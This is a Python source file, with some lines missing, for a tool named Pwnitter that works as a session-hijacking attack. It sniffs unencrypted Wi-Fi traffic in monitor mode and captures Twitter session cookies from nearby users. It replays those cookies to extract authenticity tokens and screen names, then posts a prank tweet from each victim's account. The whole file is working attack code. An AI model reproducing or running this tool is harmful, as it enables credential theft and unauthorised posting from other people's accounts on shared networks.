3 # * apt-get install libpcap0.8 python-pypcap python-dpkt
4 # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 # * ./idiocy.py -i mon0
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
16 status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.'
19 print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
22 NAME = 'de.cryptobitch.muelli.Pwnitter'
24 class Pwnitter(dbus.service.Object):
25 def __init__(self, bus, object_name, device='mon0'):
26 super(Pwnitter, self).__init__(bus, object_name)
30 self.is_running = False
32 @dbus.service.method(NAME,
33 in_signature='', out_signature='')
34 def Start(self, device='mon0'):
35 # FIXME: Prevent double Start()
36 cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
38 cmd = '/sbin/ifconfig mon0 up'.split()
40 self.is_running = True
42 self.cap = pcap.pcap(device)
44 print "Error setting up %s" % device
46 self.cap.setfilter('dst port 80')
47 gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
49 @dbus.service.signal(NAME)
50 def MessageSent(self, who):
51 print "Emitting MessageSent"
56 @dbus.service.method(NAME,
57 in_signature='s', out_signature='')
58 def SetMessage(self, message):
61 @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
62 in_signature='', out_signature='s')
66 @dbus.service.method(NAME,
67 in_signature='', out_signature='')
69 self.is_running = False
71 cmd = '/sbin/ifconfig mon0 down'.split()
73 cmd = '/usr/sbin/iw dev mon0 del'.split()
78 def pwn(self, device, tweeted_callback=None):
80 if self.is_running: # This is probably not needed, but I feel better checking it more than too less
81 #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist
82 cap_fileno = self.cap.fileno()
83 rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
84 #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
85 if cap_fileno in rlist:
86 ts, raw = self.cap.next()
87 eth = dpkt.ethernet.Ethernet(raw)
89 # Depending on platform, we can either get fully formed packets or unclassified radio data
90 if isinstance(eth.data, str):
93 data = eth.data.data.data
95 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
98 host = hostMatches.group(1)
100 cookieMatches = re.search('Cookie: ([^\n]+)', data)
102 cookie = cookieMatches.group(1)
105 "User-Agent": "Mozilla/5.0",
109 conn = httplib.HTTPSConnection(host)
111 conn.request("GET", "/", None, headers)
112 except socket.error, e:
115 response = conn.getresponse()
116 page = response.read()
118 # Newtwitter and Oldtwitter have different formatting, so be lax
121 formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
123 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
126 authToken = authMatches.group(1)
128 nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
130 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
134 name = nameMatches.group(1)
137 # We don't want to repeatedly spam people
138 # FIXME: What the fuck logic. Please clean up
139 if not ((not name and host != 'mobile.twitter.com') or name in processed):
141 "User-Agent": "Mozilla/5.0",
142 "Accept": "application/json, text/javascript, */*",
143 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
144 "X-Requested-With": "XMLHttpRequest",
146 "Referer": "http://api.twitter.com/p_receiver.html",
151 print 'Issueing connection'
152 if host == 'mobile.twitter.com':
154 params = urllib.urlencode({
155 'tweet[text]': self.status,
156 'authenticity_token': authToken
159 conn = httplib.HTTPConnection("mobile.twitter.com")
160 conn.request("POST", "/", params, headers)
164 params = urllib.urlencode({
165 'status': self.status,
166 'post_authenticity_token': authToken
169 conn = httplib.HTTPConnection("api.twitter.com")
170 conn.request("POST", "/1/statuses/update.json", params, headers)
173 response = conn.getresponse()
174 print 'Got response: %s' % response.status
175 if response.status == 200 or response.status == 302 or response.status == 403:
180 # 403 is a dupe tweet
181 if response.status != 403:
182 print "Successfully tweeted as %s" % name
183 print 'calling %s' % tweeted_callback
185 tweeted_callback(name)
187 print 'Already tweeted as %s' % name
191 print "FAILED to tweet as %s, debug follows:" % name
192 print response.status, response.reason
193 print response.read() + "\n"
194 #break # Break after one read packet
195 return self.is_running # Execute next time, we're idle
196 # FIXME: Ideally, check whether Pcap has got data for us
200 opts, args = getopt.getopt(sys.argv[1:], 'i:h')
211 if __name__ == '__main__':
212 dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
214 #session_bus = dbus.SessionBus()
215 session_bus = dbus.SystemBus()
216 name = dbus.service.BusName(NAME, session_bus)
217 pwnitter = Pwnitter(session_bus, '/Pwnitter')
220 loop = gobject.MainLoop()
221 print "Running example signal emitter service."
222 # FIXME: This is debug code
223 #gobject.idle_add(pwnitter.MessageSent)
226 print "Exiting for whatever reason"